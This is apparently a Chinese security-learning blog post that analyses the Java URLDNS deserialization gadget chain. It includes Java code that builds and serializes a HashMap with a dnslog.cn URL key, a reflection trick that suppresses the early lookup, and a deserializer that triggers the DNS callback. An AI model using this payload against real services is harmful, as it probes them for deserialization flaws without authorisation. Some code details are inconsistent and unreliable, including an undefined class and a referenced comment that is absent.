URLDNS链分析 这个链子算是学习java发序列化最简单的一条利用链了吧,刚开始学分析了很久,入口点是HashMap,至于为什么选择HasMap是因为Java在反序列化的时候会调用相应的readObject方法,我们可以跟进HashMap看一下,这里我还是在原来代码的基础上进行的测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import java.io.*;import java.net.URL;import java.sql.SQLOutput;import java.util.HashMap;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Arrays;public class serializeTest { public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("dns.bin" )); objectOutputStream.writeObject(obj); } public static void main (String[] args) throws Exception { Presion p = new Presion(); HashMap<URL,Integer> map = new HashMap<URL,Integer>(); URL url = new URL("http://88meba.dnslog.cn" ); map.put(url,1 ); serialize(map); } }
刚开始我是这样写的直接实例化了一个URL,然后进行序列化,dns也是接受到请求了,不过到最后验证的时候发现接收的是在序列化的时候的请求。
思考为什么会产生这个问题,然后下面就是关于这个想了解原理的想法去调试的这个URLDNS链,百度了一圈之后发了解到在进行到了map.put(url,1);
的时候HashMap为了保持我们穿的这个键值对唯一已经调用了Hash(key)
接着跟进发现在这里调用了hashCode
正好就会走到URL的hashCode里面
再接着就走进了URLStreamHander下的hashCode
getProtocol()方法是获取协议的名称,跟进方法可以看到
然后跟进到getHostAddress()方法,看到会调用geHost() 和 getByName()两个方法
相关的jdk文档中的介绍
该方法会使用远程请求,进行获取主机的ip,那么这时候就会触发一次请求,到了这里我们的dnslog平台,就可以收到响应了。这就是这个URLDNS链的一个触发点。然后查看dns平台发现接受到了请求。
不过这是我们进行序列化的时候的操作,并没有进行反序列化,但是这时候已经发送了请求,而且导致最后我们反序列化的时候接受不到请求。还有一个点是在调用URL的hashCode时,因为找利用链就像在php找利用链的时候一样,首先肯定是要找相同名称相同类型的去调用,实例化一个url对象的时候调用的就是URL,跟进URL去看下,发现是实现了序列化接口,是可以序列化的。所以可以调用URL里的hashCode去实现。
解决在序列化的时候就发起请求的方法:
1.在序列化之前不要发起请求
2.在put之后把hashCode改为-1,让其能够进行反序列化。具体原因如下代码
接下来实现讲序列化的一个属性改为-1就需要利用到反射机制了。最终利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import java.io.*;import java.net.URL;import java.sql.SQLOutput;import java.util.HashMap;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Arrays;public class serializeTest { public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("dns.bin" )); objectOutputStream.writeObject(obj); } public static void main (String[] args) throws Exception { Presion p = new Presion(); HashMap<URL,Integer> map = new HashMap<URL,Integer>(); URL url = new URL("http://gl99zl.dnslog.cn" ); Class c = url.getClass(); Field hashcode = c.getDeclaredField("hashCode" ); hashcode.setAccessible(true ); hashcode.set(url,1234 ); map.put(url,1 ); serialize(map); } }
首先执行下这个序列化代码,查看序列化时是否还能再收到请求,就不再调试了。
已经收不到了,然后再反序列化之前需要将hashCode改为-1;也就是将上面代码中的注释部分修改即可,然后进行反序列化
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import java.io.*;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.IOException;public class UnserializeTest { public static Object unserialize (String Filename) throws IOException, ClassCastException, ClassNotFoundException { ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } public static void main (String[] args) throws Exception { unserialize("dns.bin" ); } }
成功接收。
调用链就是
1 2 3 4 HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress ->URLStreamHandler.hashCode().getHostAddress ->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName